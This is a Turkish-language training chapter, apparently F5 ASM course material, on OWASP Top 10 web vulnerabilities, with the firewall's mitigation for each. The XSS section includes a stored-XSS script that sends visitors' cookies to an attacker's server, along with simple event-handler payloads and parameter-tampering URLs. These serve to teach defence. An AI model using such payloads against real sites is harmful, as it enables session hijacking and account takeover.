
Bu bölümde, bir web uygulamasının güvenliğini etkileyebilecek yaygın web uygulaması güvenlik açıklarını tartışacağız. Bu bölümü tamamladıktan sonra, en yaygın web uygulaması güvenlik açıkları hakkında bilgi sahibi olacak ve ASM’nin bunları nasıl hafifletebileceği konusunda bir anlayış geliştirmeye başlayacaksınız.
Bölüm, auction sitesini hackleme fırsatıyla sona ermektedir.
Uygulama güvenliğindeki en son gelişmeleri takip etmek için Open Web Application Security Project (www.owasp.org) sitesine sık sık başvurmak iyi bir uygulamadır.
Aşağıda, 2013 yılına ait OWASP Top 10 web uygulaması güvenlik açıklarının bir listesi bulunmaktadır:
- Enjeksiyon saldırıları
- Kırık Kimlik Doğrulama ve Oturum Yönetimi
- Güvensiz Doğrudan Nesne Referansları
- Güvenlik Yapılandırma Hataları
- Hassas Veri Açığa Çıkması
- Eksik Fonksiyon Seviyesi Erişim Kontrolü
- Bilinen Güvenlik Açıklarına Sahip Bileşenlerin Kullanılması
- Doğrulanmamış Yönlendirmeler ve İleri Yönlendirmeler
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)
Bir tarayıcı veya ücretsiz bir HTTP proxy aracı kullanarak, bir hacker en küçük hatalar veya arka kapıları kullanarak bir işlemi değiştirebilir. Son kullanıcılarla etkileşime giren herhangi bir uygulama, kötüye kullanıma açık olabilir.
Saldırılar iki alanda kategorize edilebilir. Bir alan altyapıya yönelik saldırılara odaklanırken, diğer alan uygulama mantığına yönelik saldırılara odaklanır.
Web uygulamalarıyla ilgili güvenlik problemleri farklı şekillerde kategorize edilebilir; saldırıdan etkilenen sistemler, saldırı türü, saldırıya izin veren web uygulamasındaki hata veya bunların kombinasyonu gibi.
Kurumsal BT altyapısındaki en tehlikeli güvenlik açıklarının çoğu, solucanlar veya virüsler üzerine değil, uygulama sunucularındaki bilinen güvenlik açıkları üzerine değil, uygulamanın kendisindeki güvenlik açıkları üzerine temellidir. Bu güvenlik açıkları, kurumsal web altyapılarının cross-site scripting, kod enjeksiyonu ve veri manipülasyonu gibi saldırılara açık olmasına neden olur. Çoğu zaman, hacker’lar, kurumsal veritabanlarından hassas verileri çıkarmak veya bir kurumsal web varlığını tahrip etmek için bu uygulama güvenlik açıklarını kullanır.
Kırık Kimlik Doğrulama ve Oturum Yönetimi
Kimlik doğrulama, bir bireyin veya varlığın kimliğinin doğrulanması sürecidir.
Kimlik doğrulama, uygulama güvenliğinin kritik bir yönü olsa da, bazı kimlik doğrulama mekanizmaları, şifre değiştirme, şifremi unuttum, şifremi hatırla, hesap güncelleme ve benzeri işlevler gibi hatalı kimlik bilgisi yönetim fonksiyonları tarafından istismar edilebilir. Çoğu web uygulaması, kimlik doğrulama sırasında birey tarafından yalnızca bilinen kullanıcı adı ve kimlik bilgilerini kullanarak kimliği doğrular.
Çerezler, oturum kimlikleri ve jetonlar gibi oturum yönetimi mekanizmaları, bir web uygulamasının tüm kullanıcı isteklerini bir işlem süresince hatırlamasını sağlar. Çünkü HTTP istekleri veri saklamaz, oturum kimlikleri ve jetonlar, istemci ve sunucu arasındaki işlemler sırasında veri iletmek için kullanılır. Bu oturum kimlikleri ve jetonları doğru şekilde korunmazsa, bir saldırgan oturumu ele geçirebilir ve bir kullanıcının kimliğini taklit edebilir.
Aşağıda OWASP’tan bir saldırı senaryosu örneği bulunmaktadır. Bir havayolu rezervasyon uygulaması, URL yeniden yazmayı destekler ve oturum kimliklerini URL’ye ekler:http://example.com/sale/saleitems-jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
Uygulamanın zaman aşımı ayarlarının doğru yapılmadığını varsayalım. Bir müşteri, uygulamayı erişmek için halka açık bir bilgisayar kullanır. Kullanıcı, “çıkış” yapmayı seçmek yerine tarayıcı sekmesini kapatıp uzaklaşır. Saldırgan, aynı tarayıcıyı bir saat sonra kullanır ve tarayıcı hala kimlik doğrulaması yapılmış durumdadır.
Bir web uygulamasının kırık kimlik doğrulama ve oturum yönetimi saldırılarına karşı savunmasız olmaması için aşağıdaki stratejiler göz önünde bulundurulmalıdır:
- Şifreler şifreli veya karma bir biçimde saklanmalıdır
- Tüm giriş işlemi şifrelenmelidir
- Giriş sayfası zaman aşımı zorunlu olmalıdır
ASM Savunması
ASM, aşağıdaki yollarla kırık kimlik doğrulama ve oturum yönetimine karşı koruma sağlar:
- Benzersiz giriş sayfası uygulama zorunluluğu
- Giriş sayfası zaman aşımını zorunlu kılma
- Uygulama akış denetimi ve dinamik parametre koruması etkinleştirme
- İstek saldırı desenlerini izleme
- Oturum manipülasyonunu önlemek için kendi çerezlerini kullanma
Parametre Manipülasyonu
Parametre manipülasyonu, bir web uygulamasının kullanıcıya dahili bir nesneye referans göstermesiyle gerçekleşebilir. Dahili nesne örnekleri, URL’ler, parametreler, dosyalar, dizinler, gizli alanlar ve veritabanı anahtarlarıdır. Bir saldırgan, iç nesnelere yapılan referansları değiştirebilir ve böylece nesne üzerinde erişim kontrollerine etki edebilir. Bu faaliyet, web uygulaması geliştiricisinin erişime açmak istemediği işlevselliği ortaya çıkarabilir.
Aşağıda OWASP’tan, bir saldırganın erişebileceği spesifik bir parametre olan “acct” örneği verilmiştir:http://example.com/app/accountInfo?acct=notmyacct
Saldırgan, ‘acct’ parametresini tarayıcıda değiştirerek bir hesap numarası gönderir. Eğer doğru bir şekilde doğrulama yapılmazsa, saldırgan yalnızca belirli bir müşteriye ait olan değil, herhangi bir kullanıcının hesabına erişebilir.
Gizli Alan Manipülasyonu
Birçok uygulamada, sistem şifrelerini veya ürün fiyatlarını tutmak için gizli HTML form alanları kullanılır. Gizli alanların asıl amacı, oturumları takip etmektir; gizli alanlar ve çerezler, kullanıcının durumu kaydetmek için mevcut iki mekanizmadır. Gizli alan, HTML formunda “gizli” anahtar kelimesi kullanılarak yerleştirilen dinamik bir alandır. Örneğin, bir kitap satın almak için kredi kartı numarasını girdiğiniz formda, gizli alanlar bir envanter indeksini ve fiyatı içerebilir. Çoğu e-ticaret uygulaması, yetkilendirme ve işlemle ilgili verileri tutmak için gizli alanları kullanır. Gizli alanların manipülasyonu, güvensiz doğrudan nesne referansı biçiminde bir güvenlik açığına yol açar. Gizli alanlar yalnızca perakende uygulamalarında kullanılmaz; bunlar aşağıdaki türde verileri iletmek için de yaygın olarak kullanılır:
- Erişim Kontrol Bilgisi (Yönetici, Yöneticilik, Dış Kullanıcı vb. değiştirilmesi)
- Hesap Bilgisi (kullanıcı adı, hesap numarası, adres)
- Kullanıcı formlarını işleyen uygulama sihirbazları. Bazı durumlarda, beşinci adıma geçmeden önce dördüncü adımda önemli detayları doldurmanız gerekebilir. Gizli verileri manipüle etmek, tasarlanan akışı atlatmanıza olanak tanıyacaktır.
Adlarına rağmen, bu alanlar çok gizli değildir ve genellikle web sayfasının Kaynağını Görüntüleyerek görülebilir. Web uygulamaları, kullanıcının giriş verisi olarak ne göndereceğini kontrol edemez, alanlar gizli olsa bile. Bir kullanıcı, veriyi web uygulamasına göndermek için yalnızca bir tarayıcıya bağımlı değildir ve bu yüzden herhangi bir sınırlamaya tabi değildir. Örneğin, alan manipülasyonu bir proxy veya NetCat gibi bir araç kullanılarak anında yapılabilir ve herhangi bir istek gönderilebilir. Bu tür bir saldırı, birçok ticari web uygulamasına karşı başarılı olmuştur.
Örneğin, bir fiyat parametresinin gizli alanda HTML kaynağında yer aldığı durumu düşünün. Fiyat, istemci tarafında talep üzerinde değiştirilebilir ve web sunucusuna gönderilebilir. HTML kaynağında fiyat değiştirildiğinde, kullanıcı bir satın alımın fiyatını değiştirebilir. Fiyat istemci tarafında değiştirildiğinde, kullanıcı bu değişikliği web uygulamasına gönderebilir.
Gizli alanlar, Google.com üzerinden bulunabilir. Basitçe “hidden” kelimesini Google’ın arama motoruna yazarak gizli alanları kullanan web sitelerini belirleyebilirsiniz.
Bir web uygulamasının Güvensiz Doğrudan Nesne Referansı saldırılarına karşı korunmasını sağlamak için aşağıdaki stratejiler göz önünde bulundurulmalıdır:
- Tüm referans nesneleri için yetkilendirmeyi doğrulamak
- Özel veya gizli nesne referanslarını doğrulamak
- Kullanıcılara özel nesne referanslarını ifşa etmekten kaçınmak
ASM Önlemesi ASM, dinamik parametrelerin uygulanmasını sağlayarak (sunucu tarafından belirlenen değerlerin istemci tarafında değiştirilemeyeceğini garanti eder) Gizli Alan Manipülasyonu’na karşı koruma sağlar. Ayrıca, belirli bir uygulama için izin verilen URL’ler için beyaz liste sunar.
Güvenlik Yapılandırma Hataları
Güvenlik yapılandırma hataları, uygulama yığınına ait herhangi bir düzeyde, platformda, web sunucusunda, uygulama sunucusunda, çerçevede ve özel kodda meydana gelebilir. Geliştiriciler ve ağ yöneticileri, tüm yığının doğru şekilde yapılandırıldığından emin olmak için birlikte çalışmalıdır. Bir saldırgan, varsayılan hesaplara, kullanılmayan sayfalara, yamalanmamış kusurlara, korunmayan dosya ve dizinlere vb. erişim sağlayarak sisteme yetkisiz erişim elde edebilir veya bilgi alabilir.
Üçüncü taraf yapılandırma hatalarıyla ilgili endişeler de vardır. Birçok şirket, iş modellerini desteklemek için üçüncü taraf ürünlerle işbirliği yapmaktadır. Bu ortamlar, uygulama ve yönetilen hizmet sağlayıcılarını, iş ortaklarını ve uzak ofisleri içerebilir. Bu iş ortamının bir parçası olarak, potansiyel olarak hassas verilerin organizasyonlar arasında akışını sağlamak için erişim verilmesi gerekir. Verilerin güvenliği ve verilerin transferi için gerekli yöntemlerin güvenliği sağlanmalıdır. Örneğin, bir saldırgan, NFS dosya izni verildiğinde şirketinizin sunucusunda dosya oluşturabilir. Bir hacker ayrıca, hedef alınan çevrimiçi veritabanını erişilemez kılacak bir veri kaynağı oluşturmak suretiyle üçüncü taraf yapılandırma hatalarını kullanabilir.
Bir web uygulamasının Güvenlik Yapılandırma Hataları saldırılarına karşı korunmasını sağlamak için aşağıdaki stratejiler göz önünde bulundurulmalıdır:
- Tüm yeni yazılım güncellemeleri hakkında bilgi sahibi olun ve bunları zamanında yükleyin
- Bileşenler arasında iyi bir ayrım ve güvenlik sağlayan sağlam bir web uygulama mimarisi dağıtın
- Denetimler yapın ve gelecekteki yapılandırma hatalarını tespit etmek için taramalar çalıştırın
ASM Önlemesi ASM, HTTP isteklerinin RFC’ye uygunluğunu sağlamak, istekler üzerinde çeşitli sınırlar uygulamak, URL beyaz listesini kullanmak, parametre adlarını ve değerlerini zorunlu tutmak ve giriş sayfalarını zorunlu kılmak gibi geniş bir kontrol yelpazesi kullanarak yapılandırma hatalarına dayalı saldırıları hafifletebilir.
Hassas Veri Maruziyeti
Hassas veriler, kredi kartları, kullanıcı kimlikleri, sosyal güvenlik veya sosyal kimlik numaraları ve kimlik doğrulama bilgilerini içerebilir. Bir web uygulaması hassas veriyi korumazsa, saldırganlar bunu çalar veya değiştirerek kredi kartı dolandırıcılığı, kimlik hırsızlığı veya diğer suçları işleyebilir. Hassas veriler, dinlenme halinde veya iletim sırasında şifreleme gibi ekstra koruma gerektirir ve ayrıca bir müşteri ile değiş tokuş yapıldığında özel önlemler alınmalıdır.
ASM Önlemesi ASM, bir istekteki hassas kullanıcı girişlerini, örneğin şifre veya kredi kartı numarasını maskeler. Hassas parametrelerin içerikleri, ASM günlüklerinde veya kullanıcı arayüzünde görünmez. Maskelenme, parametre düzeyinde yapılabilir veya kredi kartı verileri global olarak maskelenebilir.
Zorlama ile Tarama
Erişim kontrolü ayarlarındaki güvenlik açıkları, kullanıcıların gizli veya kısıtlı olması gereken URL’lere veya parametrelere erişebilmesine neden olabilir. Bu, halka açık ve yetkilendirilmiş kullanıma yönelik olmayan URL’lerin veya diğer kaynakların genellikle halka açık ve yetkilendirilmiş erişime yönelik olanlardan daha az korunmuş olmasından dolayı güvenlik sorunu oluşturur.
Zorla Tarayıcı (Forceful Browsing)
Zorla tarayıcı, yetkisiz kullanıcıların erişememesi gereken bir web sayfasına doğrudan erişim sağlaması veya yetkisiz bir hiperlink üzerinden bir sayfaya erişmesi anlamına gelir. Başka bir deyişle, kullanıcılar, erişmemeleri gereken web uygulamalarının bölümlerine doğrudan girebilirler. Doğru şekilde yapılandırılmamış web uygulamaları, kötü niyetli kullanıcıların hassas bilgiler içerebilecek URL’lere doğrudan erişmesine olanak tanır.
Google arama motorunun popülerleşmesi bu sorunu daha da önemli hale getirmiştir, çünkü Google teknolojisi, kimlik doğrulama sayfalarından geçmeden erişilmesi gereken web sitelerinin iç sayfalarını bulabilir ve bunlara kamuya açık bağlantılar oluşturabilir. Kullanıcıların sayfaları yer imlerine eklemeleri de benzer bir soruna yol açar.
Bir zorla tarayıcı örneği, kaydolma sayfasını geçip onun arkasındaki sayfalara erişmeye çalışmak olabilir. Örneğin, bir kullanıcı şu URL’yi görebilir: http://www.website.com/public Ve ardından, web sitesinin kamuya açık olmayan bölümünün nerede olduğunu tahmin ederek şu URL’yi girebilir: http://www.website.com/private Böylece, kimlik doğrulama veya giriş ekranlarını atlayarak bu bölümdeki uygulamayı erişilebilir hale getirir.
Web uygulamalarının Missing Function Level Access Control (Eksik Fonksiyon Seviyesi Erişim Kontrolü) saldırılarına karşı savunmasız olmaması için şu stratejiler dikkate alınmalıdır:
- Giriş sayfalarını zorunlu hale getirin.
- Dinamik parametreler kullanarak parametre değerlerini zorunlu kılın.
- Rol tabanlı kimlik doğrulama ve yetkilendirme politikaları uygulayın.
- Uygulama, belirli kullanıcıların açık izinleri olmadan erişim izni verilmemesini sağlamak için denetleme mekanizmalarına sahip olmalıdır.
ASM İyileştirmesi ASM, izin verilen dosya türlerini ve URL’leri, doğru parametre değerlerini ve giriş sayfalarını zorunlu kılabilir.
Bilinçli Kullanılan Zayıf Bileşenler (Using Known Vulnerable Components)
Birçok organizasyon, açık kaynak uygulama geliştirme çerçevelerini ve kütüphanelerini kullanır. Java uygulamaları ve web servis bileşenleri, çalışma sırasında kütüphaneleri referans alır. Eğer bir kütüphane, tam uygulama ayrıcalıklarıyla çalışıyorsa, herhangi bir veriye erişim sağlayabilir, dosyaya yazabilir veya bir web bağlantısını kontrol edebilir. Bu durum, web uygulamasının güvenliğini tehlikeye atabilir. OWASP’a göre, 2011 yılında aşağıdaki iki zayıf bileşen 22 milyon kez indirildi:
- Apache CXF (hizmetler çerçevesi, Apache Uygulama Sunucusu değil) Kimlik Doğrulama Atlatma – Kimlik doğrulama belirteci sağlamadığında, saldırganlar her türlü web servisini tam izinle çağırabiliyordu.
- Spring Uzak Kod Çalıştırma – Spring’deki İfade Dili (Expression Language) kullanımı, saldırganların rastgele kod çalıştırmasına olanak tanıdı.
ASM İyileştirmesi ASM, MS Sharepoint ve Outlook Web Access gibi yaygın uygulamaları korumak için uygulama özel şablonları sağlar. Ayrıca, platform türüne göre düzenli olarak güncellenen saldırı imzaları yeni güvenlik açıklarına karşı koruma sağlar. Örnekler arasında Joomla! için kod enjeksiyonu imzaları, Apache fnmatch saldırıları için hizmet dışı bırakma (DoS) imzaları ve PHP için komut çalıştırma engelleme imzaları yer almaktadır. ASM, URL erişimini zorunlu kılmak ve HTTP isteklerinin uzunluğunu sınırlamak için de yapılandırılabilir.
Geçersiz Yönlendirmeler ve İleri Yönlendirmeler (Unvalidated Redirects and Forwards)
Bazı web uygulamaları, kullanıcıları başka bir hedefe yönlendirir veya benzer şekilde iç yönlendirmeler kullanır. Eğer web uygulaması hedefi doğrulamazsa, bu yönlendirmeler ve ileri yönlendirmeler değiştirilerek saldırıya açık hale gelebilir. Saldırgan, hedefi, orijinal konumun bir parçasıymış gibi görünen kötü niyetli bir siteye değiştirebilir. Phishing (kimlik avı) saldırıları bu zafiyeti kullanabilir çünkü bir saldırgan kötü niyetli bir URL’yi, orijinal adresin arkasına gizleyebilir.
Bir örnek üzerinden düşünelim: Bir uygulama, sayfa taleplerini site içerisindeki farklı bölümlere yönlendirmek için yönlendirme kullanıyor. Yönlendirmeyi kolaylaştırmak için, bazı sayfalar, işlemin başarılı olması durumunda kullanıcının nereye yönlendirileceğini belirten bir parametre kullanır. Bu durumda, saldırgan, uygulamanın erişim kontrolünü geçecek ve yönlendirmeyi, normalde erişilemeyen bir yönetici fonksiyonuna yapacak bir URL oluşturur.
Web uygulamalarının Unvalidated Redirects and Forward saldırılarına karşı savunmasız olmaması için şu stratejiler dikkate alınmalıdır:
- Hedefi hesaplarken parametreleri kullanmaktan kaçının.
- Parametre kullanmanız gerekiyorsa, değerin geçerli ve kullanıcı için yetkilendirilmiş olduğundan emin olun.
ASM İyileştirmesi ASM, parametrelerin doğru değerlerini zorunlu kılarak ve dinamik parametreleri zorunlu tutarak yönlendirme problemlerini çözebilir. Ayrıca, kullanıcıların yönlendirilebileceği hedef domainlerin bir listesini oluşturabilirsiniz. Bu, web sayfalarının kopyalanıp, güvenli bir uygulamaymış gibi görünen sahte bir sayfada sunulmasıyla yapılan phishing saldırılarını engeller. Ayrıca, uygulamaya enjekte edilen betik yönlendirmelerini de korur.
Çapraz Site Komut Dosyası (XSS – Cross-Site Scripting)
Çapraz site komut dosyası (XSS), bir kullanıcının, saldırganın komut dosyasını, saldırıya uğrayan uygulamanın bağlamında çalıştırmasına olanak tanır.
XSS saldırılarının üç ana türü vardır:
- Saklı XSS (Stored)
- Yansıtılan XSS (Reflected)
- Belge Nesnesi Modeli (DOM) tabanlı XSS
Saklı XSS (Stored XSS) Saklı XSS, kullanıcıların diğer kullanıcıların görüntülemesi için yorum gönderebildiği duyuru panoları, açık artırma forumları veya diğer metin girişlerini hedef alır. Bu sitelerde, masum metin yerine kötü niyetli JavaScript gönderilebilir.
Örneğin, bir kullanıcı bir öğe için açık artırma yaparken, öğe açıklamasının alt kısmına şu JavaScript kodunu ekleyebilir:
<script language="javascript">
document.write("lng src-http://localhost/Purl-" + document.location + "Scookie=" + document.cookie);
</script>
Bu script, HTML sayfasına, normal bir HTML resim etiketi gibi görünen ancak kullanıcıların mevcut çerez bilgilerini web sunucusuna gönderen bir kod ekler. Gelecekte bu öğe üzerine tıklayan başka bir kullanıcı, kendi çerez bilgilerini saldırganın seçtiği sunucuya gönderir çünkü enjekte edilen kod, hedef sunucuda, genellikle bir veritabanında saklanır.
Yansıtılan XSS (Reflected XSS) Yansıtılan XSS, kullanıcı tarafından sağlanan verileri kabul eden ve bunları uygulama yanıtının HTML’ine ekleyen veya arka uç sistemlerine ileten uygulamaları hedef alır. Eğer uygulama kullanıcı girişini filtrelemez veya temizlemezse, web tarayıcısında sayfa görüntülendiğinde çalışacak scriptlere karşı savunmasız hale gelir.
Saldırılar genellikle, zaten kimlik doğrulaması yapılmış kullanıcıları, kötü niyetli, gömülü script içeren bir URL’ye tıklamaya kandırarak yapılır. Bu URL’ler genellikle meşru e-posta mesajları, forumlar veya kurbanın güvendiği diğer etkileşimlerde görünür.
Enjekte edilen kod, savunmasız web uygulamasına ulaşır, saldırı ise tarayıcıya geri yansıtılır ve tarayıcı bu kodu çalıştırır çünkü kod, güvenilir bir sunucudan gelmiştir.
XSS Saldırıları: XSS saldırıları her zaman <script></script>
etiketleriyle sınırlı değildir. Diğer etiketler ve ActionScript gibi diğer betik araçları da yaygın suçludur:
<body onload="alert('test')">
<onmouseover="alert('just an example')">Claim your prize!</b>
DOM Tabanlı XSS
Document Object Model (DOM) tabanlı cross-site scripting (XSS) saldırılarından önce, DOM’un temel bir açıklaması gerekmektedir.
Web tarayıcıları, HTML’nin yorumlamasını bir dizi nesne hiyerarşisi olarak saklar ve görüntüler, bu nesneler World Wide Web konsorsiyumu tarafından belirlenen Document Object Model (DOM) olarak adlandırılır. Tarayıcıda belgenin nasıl görüntüleneceğinin yapısal formatı DOM tarafından belirlenir.
Pencere
- belge
- bağlantılar
- formlar
- resimler
- metin kutuları, radyo butonları, onay kutuları, butonlar
Şekil 2: Document Object Model
DOM bağlamında, HTML belgeleri bir dizi düğüm nesnesinden oluşur. Her HTML öğesi (örneğin, istemci tarafı JavaScript tanımlayan etiketi) bir öğe düğümüdür, bir öğe içindeki metin bir metin düğümüdür vb. Her nesnenin özellikleri vardır. Örneğin, öğesi “type” adında bir özelliğe sahip olabilir; bu özellik türünü belirtir: veya “src” özelliği, dış bir kaynağa işaret eder, örneğin src=”myscript.js”.
Hem nesneler hem de özellikler, JavaScript metodları veya diğer programlama dilleriyle manipüle edilebilir ve bu da DOM’u dış bir istemci veya kullanıcı girdisiyle etkileyebilir. Örneğin, bir resim etiketinin kaynak (src) özelliğini “dog”dan “cat”e değiştirmek, web tarayıcısının render ettiği resmi değiştirir.
Çoğu web sayfası artık yalnızca statik HTML’lerden oluşmaz. Dinamik HTML’in ve Adobe Flash, RealPlayer gibi birçok tarayıcı eklentisinin tanıtılması, istemci tarafı betikleri aracılığıyla uygulamaya kullanıcı tarafından kasıtlı olarak sağlanmayan girişler sunan dinamik web sayfalarının çoğalmasına neden olmuştur.
Buradaki sorun, DOM’un betiklerin, sayfa bileşenlerini manipüle etmesine olanak tanımasıdır; örneğin, bir form alanı veya siteye özgü başka bir bağlamsal öğe. Bir örnek, PDF belgesini render ederken bir betiği çalıştıran tarayıcıların kötüye kullanılmasını içerir. Saldırganlar aşağıdaki URL’ye şu şekilde bir değişiklik yapar: http://f5trn.com/somefile.pdf?somename=javascript:malicious.script Çünkü # simgesinden sonra gelen tüm karakterler sunucuya gönderilmez, istemci yalnızca betiği çalıştırır. Yukarıdaki örnekte, betik, Acrobat eklentisi tarafından render edilirken çalıştırıldı çünkü DOM’un mevcut site bağlamında başlatılmıştı.
Çoğu XSS saldırısı, yerleşik JavaScript biçiminde gelir. Ancak ActiveX (OLE), VBscript, Shockwave ve Flash gibi yerleşik aktif içerikler de kötü niyetli kod içerebilir.
Yaygın Savunma Stratejileri
Cross-Site Scripting, teorik olarak korunması kolay bir saldırıdır. Web uygulamasının kullanıcıdan aldığı bilgiyi geri yansıtmadığından emin olarak, uygulama geliştiricileri, depolanan ve yansıyan saldırı türlerinin başarılı olma olasılığını azaltabilir.
Bir web uygulamasının XSS saldırılarına karşı savunmasız olmadığından emin olmak için aşağıdaki stratejiler göz önünde bulundurulmalıdır:
- Kullanıcı girdi formlarında yalnızca belirli karakterlere izin verin.
- Tüm güvensiz verileri, verinin yerleştirileceği HTML bağlamına göre temizleyin.
- Kullanıcı girdisini, veri tipi, uzunluk ve karakter setlerini inceleyerek doğrulayın.
ASM Savunması
ASM, XSS saldırı desenlerini uygular ve URI içindeki karakterlerin doğru kullanımını ve parametre adlarını denetler. Ayrıca, parametre değerlerini kontrol eder ve önceden tanımlanmış izin verilen değerlerin, uzunlukların ve meta karakterlerin doğru kullanımını zorunlu kılar.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery (CSRF), kötü niyetli bir web sitesinin, bir kullanıcının zaten kimlik doğrulaması yapılmış olduğu bir web uygulamasına, farklı bir web sitesinden istek göndermesini içerir. Saldırgan, ardından kurbanın zaten kimlik doğrulaması yapılmış tarayıcısı aracılığıyla hedef web uygulamasındaki işlevlere erişebilir. Anahtar kavram, taklit edilen isteklerin kullanıcıdan gelmemesidir. Tipik hedefler, sosyal medya, tarayıcı tabanlı e-posta istemcileri, çevrimiçi bankacılık ve web arayüzüyle yapılandırılabilen yönlendiriciler gibi web uygulamalarıdır.
ASM Savunması
ASM, CSRF saldırılarına karşı koruma sağlayabilir. Bunun için URL’ye, belirli bir süreyle geçerliliği olan bir token ekler. Kaynak tekrar talep edildiğinde, ASM token’ın geçerli ve URL’de mevcut olduğunu doğrular.
Diğer Web Uygulaması Zafiyetleri
OWASP top 10 listesinde yer almayan ancak yine de yaygın olan ve ortamınızı ciddi şekilde tehlikeye atabilecek diğer web uygulaması zafiyetleri mevcuttur. Parametre Manipülasyonu, Çerez Zehirlenmesi, Hizmet Reddi (DoS) ve Kaba Kuvvet gibi zafiyetler hala yaygındır ve web uygulaması güvenliği uygulanırken dikkate alınmalıdır. Şimdi bu zafiyetleri ele alacağız.
Parametre Manipülasyonu
Parametre manipülasyonu, URL dizilerini manipüle ederek, kullanıcıya başka türlü erişilemeyecek bilgileri elde etmeye yöneliktir. Bu, Güvensiz Doğrudan Nesne Referansı (IDOR) türüdür. Parametre manipülasyonu, isteklerdeki parametrelerin değiştirilmesi ve POST yönteminde, varlık gövdesindeki parametrelerin değiştirilmesiyle ilgilidir. Parametre manipülasyonunun yaygın bir örneği, URI’yi değiştirerek, web uygulamasının tasarımına aykırı bir şekilde bilgi elde etmektir. Aşağıdaki örnekte, “nick” parametresi manipülasyona açıktır.
http://172.16.200.10/user_menu.php?nick=studentl
Şekil 3: “nick” parametresinin değeri URI dizesinde görünür.
Parametre manipülasyonu, çerezler, form alanları, HTTP başlıkları ve sorgu dizeleri ile yapılabilir. Çerez manipülasyonu, kalıcı ve geçici çerezlerde gerçekleşebilir. Güvenli çerezler, istemci tarafından değiştirilip web uygulamasına gönderilebilir.
ASM Mitigasyonu
ASM, parametre adında ve değerinde izin verilen karakterleri kontrol eder, kullanıcı girdi parametrelerinde kötü niyetli desenleri denetler ve sorgu dizeleri ile veri isteği uzunluklarını doğrular.
Çerez Manipülasyonu
Çerezler, bir web sunucusunun web tarayıcısının isteği üzerine HTTP başlığında gönderdiği metin dizileridir. Çerez daha sonra, her seferinde aynı sunucuya erişildiğinde tarayıcı tarafından değiştirilmeksizin geri gönderilir. Çerezlerin başlıca amaçları şunlardır:
- Kullanıcıları ayırt etme
- Kimlik doğrulama
- Kullanıcılarla ilgili kişiselleştirilmiş bilgileri saklama
- İzleme
- Kullanıcıya, bir uygulamanın “hatırladığı” bir veya daha fazla önceki etkileşim olayını içeren durumlu bir deneyim sunma.
Bir web uygulamasına yalnızca bir kez giriş yaptıysanız, o zaman hızlı ve kolay bir şekilde birçok sayfada gezinebilirsiniz— her yeni alanı ziyaret ederken yeniden kimlik doğrulama yapmanıza gerek kalmaz. Oturum çerezleri, ziyaret ettiğiniz web uygulamasının gezinmenizi takip etmesini sağlar, böylece daha önce sağladığınız bilgileri tekrar sormaz.
Persistent Çerezler sabit diskinizde, silene kadar veya süresi dolana kadar kalır.
Çerezler, bir uygulamanın sunucu tarafı bileşenleri için kimlik olarak kullanılır. Herhangi bir yanıtla birlikte, bir web sunucusu “Set Cookie:” komutunu göndererek bir dizi sağlar (yani bir çerez). Çerez ayarlandıktan sonra, sonraki tüm istekler bu çerezi web sunucusuna gönderir. Çerezler, istemci tarafı mantığıyla analiz edilebilir, değiştirilebilir ve manipüle edilebilir.
Çerez manipülasyonu, bir saldırganın, kullanıcının çerezini kendi isteğiyle değiştirmesidir. İsteği düzenleyerek, saldırgan kullanıcının çerezini kendi isteğine ekler. Saldırgan şimdi geçerli bir kullanıcı olarak giriş yapabilir, çünkü geçerli kullanıcının oturum çerezini çalmıştır. Oturum çerezi ele geçirilen bir saldırgan, kimlik doğrulama kısıtlamalarını aşabilir ve diğer kullanıcının kimliğini alabilir.
ASM Mitigasyonu
ASM, web sunucusundan istemciye gönderilen alan adı çerezlerinin değiştirilmediğini doğrular. ASM, HTTP yanıtlarına kendi çerezini ekleyebilir ve alan adı çerezlerini doğrular ve oturum süresinin dolup dolmadığını kontrol eder.
Hizmet Reddi (DoS) ve Dağıtık Hizmet Reddi (DDoS)
Bir Hizmet Reddi (DoS) saldırısında, bir saldırgan, meşru kullanıcıların bilgiye veya hizmetlere erişmesini engellemeye çalışır. Bir kullanıcının bilgisayarını (ya da kullanıcının eriştiği sitelerin bilgisayarları ve ağlarını) hedef alarak, bir saldırgan e-posta hesaplarına, web uygulamalarına veya bankacılık hesaplarına erişimi engelleyebilir.
ASM Mitigasyonu
ASM, web uygulamasına yönelik verilerde saniye başına bayt sayısı, saniye başına deneme sayısı gibi istemci işlemlerini düzenleyebilir. String tabanlı parametre uzunlukları üzerindeki kontroller, çoğu tampon taşmasını engeller.
Kaba Kuvvet (Brute Force)
Kaba kuvvet saldırısı, bilinmeyen bir değeri, örneğin bir şifreyi, otomatikleştirilmiş bir işlemle çok sayıda olası değeri deneyerek bulmaya yönelik bir yöntemdir. Kaba kuvvet saldırıları genellikle giriş kimlik bilgileri, şifreler, oturum kimlik belirleyicileri, dizinler ve dosyalar gibi hedefleri içerir.
ASM Mitigasyonu
ASM, giriş URL’sini, hafifletme yöntemlerini ve giriş yanıtları için erişim doğrulama kriterlerini korumak üzere yapılandırılabilir. ASM, kimlik doğrulamada aşırı başarısız denemeleri izler, şüpheli IP adreslerini izler ve giriş URL’si için tipik trafik desenindeki diğer anormallikleri tespit eder.
Clickjacking
Clickjacking, bir saldırganın, kullanıcının tıklamayı istediği bağlantıyı yanlışlıkla tıklamasını sağlamak için şeffaf bir katman kullanarak, geçerli bir bağlantının, düğmenin veya nesnenin üstüne gizli bir bağlantı yerleştirdiği bir saldırıdır.
ASM Mitigasyonu
Bu saldırıyı engelleme yöntemleri genellikle tarayıcı tarafı uygulamalardır. Bazı yöntemler, bu amaçla eklentiler veya yüklü uygulamalar kullanır, ancak çoğu site sahibi, kullanıcıların bu uzantıları yüklemelerine güvenmek istemez. Bu nedenle, Microsoft tarafından oluşturulan X-Frame-Options adlı yeni bir HTTP yanıt başlığı, uygulama sahiplerinin bir sayfanın bir çerçeve veya iframe HTML nesnesi içinde nasıl ve ne zaman render edileceğine karar verme yeteneğini sağlar.
Enjeksiyon Saldırıları
OWASP, enjeksiyon saldırılarını, bir komut veya sorgu parçası olarak bir yorumlayıcıya (örneğin SQL, OS, veya LDAP) güvenilmeyen verilerin gönderilmesi olarak tanımlar. Saldırganın kötü niyetli verileri, yorumlayıcıyı istenmeyen komutları çalıştırmaya veya verileri uygun izin olmadan erişmeye zorlayabilir.
ASM Mitigasyonu
